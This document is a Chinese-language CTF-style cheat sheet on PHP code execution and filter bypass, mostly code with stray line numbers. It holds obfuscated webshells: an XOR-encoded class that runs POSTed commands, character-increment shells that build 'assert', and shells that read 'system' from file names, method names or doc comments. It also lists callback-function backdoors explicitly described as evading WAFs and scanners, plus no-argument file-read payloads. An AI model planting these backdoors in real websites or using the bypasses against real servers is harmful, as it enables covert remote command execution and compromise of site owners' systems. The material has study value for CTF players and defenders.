PHP 代码执行相关
# PHP 代码执行相关
# 字符Trick
# 异或
payload="phpinfo"
allowed="ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~!#%*+-/:;<=>?@"# no ()
reth=""
rett=""
for c in payload:
flag=False
for i in allowed:
if flag == False:
for j in allowed:
if ord(i)^ord(j)==ord(c):
#print("i=%s j=%s c=%s"%(i,j,c))
reth=reth+"%"+str(hex(ord(i)))[2:]
rett=rett+"%"+str(hex(ord(j)))[2:]
flag=True
break
ret=reth+"^"+rett
print ret
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 白名单异或
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
$convert = ['decbin','decoct'];
foreach($whitelist as $a){
foreach($convert as $b){
for($i=0;$i<999999;$i++){
$result = $a ^ $b($i);
if(preg_match('/_GET|_POST|_REQUEST/',$result)){
echo $a."^".$b."(".$i.")=".$result."\n";
}
}
}
}
2
3
4
5
6
7
8
9
10
11
12
# 异或shell
<?php
class FSPU {
function ROpE() {
$XFfq = "\x47" ^ "\x26";
$vzat = "\x54" ^ "\x27";
$DeqA = "\x4" ^ "\x77";
$IEpc = "\x2b" ^ "\x4e";
$HkYR = "\xc3" ^ "\xb1";
$mPnH = "\x16" ^ "\x62";
$vFaC =$XFfq.$vzat.$DeqA.$IEpc.$HkYR.$mPnH;
return $vFaC;
}
function __destruct(){
$zYcQ=$this->ROpE();
@$zYcQ($this->rI);
}
}
$fspu = new FSPU();
@$fspu->rI = isset($_GET['id'])?base64_decode($_POST['cmd']):$_POST['cmd'];
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 取反
<?php
$str = 'phpinfo';
$str = str_split($str);
$flag='';
foreach ($str as $value) {
$flag.=~$value;
}
echo "(~".urlencode($flag).")();";
2
3
4
5
6
7
8
# 字符自增
<?=[$_=[],
$_=@"$_",
$_=$_['!'=='@'],
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,
$__=$_,
$__++,$__++,$__++,$__++,
$___.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,
$____='_',
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$_=$$____,
$___($_["_"])]?> //"assert"($_POST["_"])
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?=[$_=[],
$_=@"$_",
$_=$_['!'=='@'],
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___=$__,//P
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,//H
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,//P
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,//I
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,//N
$__=$_,
$__++,$__++,$__++,$__++,$__++,
$___.=$__,//F
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,//O
$___()]?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?=[$_=[],
$_=@"$_",
$_=$_['!'=='@'],
$____='_',
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$_=$$____,
$_["__"]($_["_"])]?>//$_POST["__"]($_POST["_"])
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
还可以用 ``<?=?> 替代分号逗号
$_=[].[];#$_='ArrayArray'
$_=''.[];#$_='Array'
2
<?php $_=[].[];$__=0;$__++;$__++;$__++;$_=$_[$__]; #$_='a'
<?php $_=''.[];$__=0;$__++;$__++;$__++;$_=$_[$__]; #$_='a'
2
# “数字”拼接
PHP 中,将两个数字使用.拼接,会当做字符串来处理,返回的也是一个字符串。例如:(1).(2)出来的就是字符串"12",然后可以用{}来代替[]来取单个字符。
$char = '1234567890-INFAH@+*%$()"!%meogiakcfhvwbnq_';
for($i = 0; $i < strlen($char); $i++){
for($j = 0; $j < strlen($char); $j++){
echo($char[$i] .'&' .$char[$j] . ' '. ($char[$i] & $char[$j]));
echo("<br>");
echo($char[$i] .'|' .$char[$j] . ' '. ($char[$i] | $char[$j]));
echo("<br>");
}
}
2
3
4
5
6
7
8
9
sissel师傅写的脚本
<?php
$old_list = 'INFA0123456789';
$new_list = $old_list;
$result = array(
"I"=>"((1/0).(0)){0}",
"N"=>"((1/0).(0)){1}",
"F"=>"((1/0).(0)){2}",
"A"=>"((0/0).(0)){1}",
"0"=>"((0).(0)){0}",
"1"=>"((1).(0)){0}",
"2"=>"((2).(0)){0}",
"3"=>"((3).(0)){0}",
"4"=>"((4).(0)){0}",
"5"=>"((5).(0)){0}",
"6"=>"((6).(0)){0}",
"7"=>"((7).(0)){0}",
"8"=>"((8).(0)){0}",
"9"=>"((9).(0)){0}",
);
while(true){
for($i = 0; $i < strlen($old_list); $i++){
for($j = 0; $j < strlen($old_list); $j++){
$tmp = ($old_list[$i]) & ($old_list[$j]);
if(! isset($result[$tmp])){
$result[$tmp] = "(".$result[$old_list[$i]].")&(".$result[$old_list[$j]].")";
$new_list .= $tmp;
}
$tmp = $old_list[$i] | $old_list[$j];
if(! isset($result[$tmp])){
$result[$tmp] = "(".$result[$old_list[$i]].")|(".$result[$old_list[$j]].")";
$new_list .= $tmp;
}
}
}
if($new_list == $old_list)
break;
$old_list = $new_list;
}
//var_dump($result);
//var_dump($old_list);
function gen($op){
global $result;
$final = array();
for($i = 0; $i < strlen($op); $i++){
if(!array_key_exists($op[$i],$result)){
$final[]=("(".$result[strtoupper($op[$i])].")");
}
else $final[]=("(".$result[$op[$i]].")");
}
//var_dump($final);
return "(".implode(".",$final).")";
}
$payload = gen("phpinfo").gen("").";";
echo $payload;
eval($payload);
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
有些字符可能无法利用&|
生成,可利用php忽略大小写的特性绕过
# 利用非代码内容
一般webshell是通过文件内容来查杀,因此我们可以利用一切非文件内容的可控值来构造webshell,譬如文件名
<?php
substr(__FILE__, -10,-4)($_GET['a']);
?>
2
3
同理,除了文件名,还有哪些我们很容易可以控制的值呢?
函数名也可。
<?php
function systema(){
substr(__FUNCTION__, -7,-1)($_GET['a']);
}
systema();
2
3
4
5
同理方法名也可
<?php
class test{
function systema(){
substr(__METHOD__, -7,-1)($_GET['a']);
}
}
$a = new test();
$a->systema();
2
3
4
5
6
7
8
还有类名 __CLASS__
什么的就不再多说了。
# 利用注释
PHP Reflection API
可以用于导出或者提取关于类 , 方法 , 属性 , 参数 等详细信息 . 甚至包含注释的内容。
<?php
/**
*system
*/
highlight_file(__FILE__);
class TestClass {}
$rc = new ReflectionClass('TestClass');
#echo $rc->getDocComment();
echo substr($rc->getDocComment(),-9,-3)($_GET['l1nk']);
?>
2
3
4
5
6
7
8
9
10
11
# 利用回调函数
回调函数就是将一个函数作为参数传入另一个函数的函数,比如call_user_func
, call_user_func_array
,array_map
等等,这些函数可以将函数作为参数执行后返回主函数,如果将一些危险的函数作为参数传入,那就有可能成为一个可利用且不易检测的后门。
# 传统回调函数
call_user_func()
在PHP中是回调的标准的函数,第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数,返回值为回调函数的结果。
call_user_func('assert', $_REQUEST["pass"]);
assert()
函数直接作为回调函数,然后$_REQUEST["pass"]
作为assert
参数调用。 另外,PHP还提供另外一个相似的函数call_user_func_array()
:
call_user_func_array('assert', array($_REQUEST['pass']));
call_user_func_array
函数,和call_user_func
类似,只是第二个参数可以传入参数列表组成的数组。
# 单个参数回调后门
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
2
3
- array_map
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
2
3
- register_shutdown_function
<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
2
3
- register_tick_function
<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);
2
3
4
- filter_var/filter_var_array
<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
2
3
# 两个参数回调后门
assert()
在PHP5.4.8+版本中,assert有一个新的可选参数descrition
。
具体函数定义如下:
assert ( mixed $assertion [, string $description ] ) : bool
所以较于之前的PHP版本,我们可以使用一些新的方式去进行调用:
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
2
3
4
注意:
$arr
数组中的元素都是回调函数$e
的参数!
uksort()
:
具体函数定义如下:
uksort ( array &$array , callable $key_compare_func ) : bool
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uksort($arr, base64_decode($e));
2
3
4
以及面向对象的方法:
<?php
// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');
2
3
4
5
6
7
8
再比如array_reduce()
:
PHP 4 >= 4.0.5, PHP 5, PHP 7) array_reduce — 用回调函数迭代地将数组简化为单一的值
array_reduce($arr = array(''), base64_decode($_REQUEST['e']), $_REQUEST['a']);
array_udiff()
函数
(PHP 5, PHP 7) array_udiff — 用回调函数比较数据来计算数组的差集
array_udiff($arr = array($_REQUEST['a']), $arr1 = array(''), base64_decode($_REQUEST['e']));
# 三个参数回调后门
array_walk()
。函数定义:array_walk ( array
&$array
, callable$callback
[, mixed$userdata
=NULL
] ) : bool
三个参数可以用preg_replace()
。
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
2
3
4
preg_replace
函数是用来执行一个正则表达式的搜索和替换,它的函数定义如下:
preg_replace ( mixed
$pattern
, mixed$replacement
, mixed$subject
[, int$limit
= -1 [, int&$count
]] ) : mixed
根据array_walk()
参数解释可以得出,array_walk($arr, $e, '');
等价于:
preg_replace('|.*|e', 'phpinfo()', '');
第一个参数|.*|e
表示的是\e模式匹配 (opens new window),即会把replacement参数当作PHP语句来执行,.*
是贪婪匹配。
除了array_walk()
,还可以使用array_walk_recurcive()
,参数的位置都是一样的:
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
2
3
4
看了以上几个回调后门,发现preg_replace()
确实好用。但显然很多WAF都会对其有所防备。其实PHP里不止这个函数可以执行eval的功能,还有几个类似的:
<?php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
2
另外一个:
<?php
echo preg_filter('|.*|e', $_REQUEST['pass'], '');
2
# Shell
<?php
error_reporting(0);
function argu($a, $b){
$ext = explode('ABKing',$a);
$ext1 = $ext[0];
$ext2 = $ext[1];
$ext3 = $ext[2];
$ext4 = $ext[3];
$ext5 = $ext[4];
$ext6 = $ext[5];
$arr[0] = $ext1.$ext2.$ext3.$ext4.$ext5.$ext6;
$arr[1] = $b;
return $arr;
}
$b = $_POST['x'];
$arr = argu("aABKingsABKingsABKingeABKingrABKingt", $b);
$x = $arr[0];
$y = $arr[1];
array_map($x, array($y));
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 参考资料
https://leavesongs.com/PENETRATION/php-callback-backdoor.html
https://ca01h.top/Web_security/php_related/1.PHP%E5%9B%9E%E8%B0%83%E5%90%8E%E9%97%A8/
# 变量覆盖
<?php
$b='ls';
parse_str("a=$b");
print_r(`$a`);
?>
2
3
4
5
# 析构函数
<?php
class User {
public $name="";
function __destruct (){
eval($this->name);
}
}
highlight_file(__FILE__);
$user = new User;
$user->name = $_GET['l1nk'];
?>
2
3
4
5
6
7
8
9
10
11
12
# 无参数读文件
过滤条件
preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])
';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['exp'])
2
利用current(localeconv()) pos(localeconv()) === .
POC:
show_source(array_rand(array_flip(scandir(current(localeconv()))))); #随机当前读目录下文件
chdir(next(scandir(pos(localeconv()) #chdir(next(scandir(pos(localeconv()
2
echo(readfile(end(scandir())))))));
# 参考资料
RoarCTF Web writeup https://github.red/roarctf-web-writeup/